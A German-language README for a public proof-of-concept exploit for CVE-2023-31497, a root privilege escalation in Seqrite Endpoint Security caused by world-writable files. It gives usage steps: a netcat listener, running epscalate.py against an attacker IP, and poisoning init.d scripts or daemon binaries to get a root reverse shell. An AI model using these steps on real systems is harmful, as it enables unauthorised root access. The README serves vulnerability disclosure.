EPScalate

Eine Schwachstelle zur Erhöhung von Privilegien in QuickHeals Seqrite Enterprise Endpoint Security Solution (EPS). Der Schwachstelle wurde die CVE-ID CVE-2023-31497 zugewiesen.

https://user-images.githubusercontent.com/39941993/230790056-87157751-b96c-49a6-81df-bf3126acfbd6.mp4

Anbieter- und Produktdetails

• Anbieter: Quick Heal Technologies Limited
• Produkt: Seqrite Endpoint Security (EPS)
• Produkt-Startseite: https://www.seqrite.com/endpoint-security/seqrite-endpoint-security
• Betroffene Versionen: Betrifft alle Versionen vor v8.0.

Schwachstellendetails

Seqrite Endpoint Security wird bei Standardinstallation in /usr/lib/Seqrite/ installiert, mit sehr schwachen Verzeichnis- und Dateiberechtigungen, die einem lokalen Benutzer vollständige Lese-/Schreiberechtigung für den Inhalt des Verzeichnisses gewähren. Darüber hinaus installiert das Installationsprogramm seine Startskripte in /etc/init.d/, welche weltweit beschreibbar sind. Dies ermöglicht jedem Benutzer mit niedrigen Privilegien auf dem System, seine Privilegien auf root zu erweitern.

Der Exploit nutzt zwei verschiedene Schwachstellen aus, die von der Software eingeführt werden, um Privilegien auf dem System zu erweitern. Erstens die Tatsache, dass die Anwendung Skripte in /etc/init.d/ verwendet, um ihre Scan-Prozesse zu starten, die von jedem Benutzer beschrieben werden können. Zweitens verwendet die Anwendung Shared Objects, um während der Laufzeit positionsunabhängigen Code (PIC) dynamisch zu laden. Tatsächlich sind alle ausführbaren Shared-Object-Dateien weltweit beschreibbar. Schließlich sind die Anwendungsbinärdateien, die für den Daemon-Prozess verwendet werden, weltweit beschreibbar, was im Grunde bedeutet, dass jeder nicht privilegierte Benutzer die Scanner-Binärdateien mit einer Reverse-Shell-Binärdatei überschreiben könnte, um beliebigen Code als root auszuführen.

Exploit-Nutzung

Der Exploit ist eine einfache Python-Datei, die bei der Ausnutzung der Schwachstelle hilft.

Schritte:

1. Auf dem Angreifer-Rechner einen Listener mit netcat (nc -lvp <port>) oder metasploit (multi/handler) starten.
2. Kopieren/herunterladen der epscalate.py- und shellcode.c-Datei auf das Zielsystem.
3. Die Python-Datei mit korrekten Argumenten ausführen (python3 epscalate.py -H 192.168.0.103:9999 -I).
4. Warten, bis der AV neu lädt / das System neu startet.
5. Die Reverse-Verbindung zu Ihrem Listener kann die Codeausführung als root bestätigen.

Exploit-Hilfe:

$ python epscalate.py -h

    EPSCALATE - PoC for privesc in Seqrite EPS
                ~ 0xInfection

usage: epscalate.py -H <host>:<port> <technique_flag>

options:
  -h, --help            show this help message and exit
  -H HOSTPORT, --hostport HOSTPORT
                        The IP and port of the listening attacker machine in format of <ip>:<port>
  -B, --daemon-binaries
                        Overwrite the main daemon binaries to escalate privileges.
  -I, --initd-scripts   Posion /etc/init.d/ bash startup scripts with a reverse shell to escalate privileges.

Unterstützung

Der Exploit wurde auf allen Debian- und Ubuntu-basierten Betriebssystemvarianten getestet.

Lizenz & Danksagungen

Der Exploit-Code wurde unter der Apache 2.0-Lizenz veröffentlicht. Die Schwachstelle wurde dem Anbieter gemeldet und zum Zeitpunkt der Veröffentlichung der Schwachstelle behoben.

Schwachstellen- und Exploit-Credits: Pinaki Mondal (0xInfection).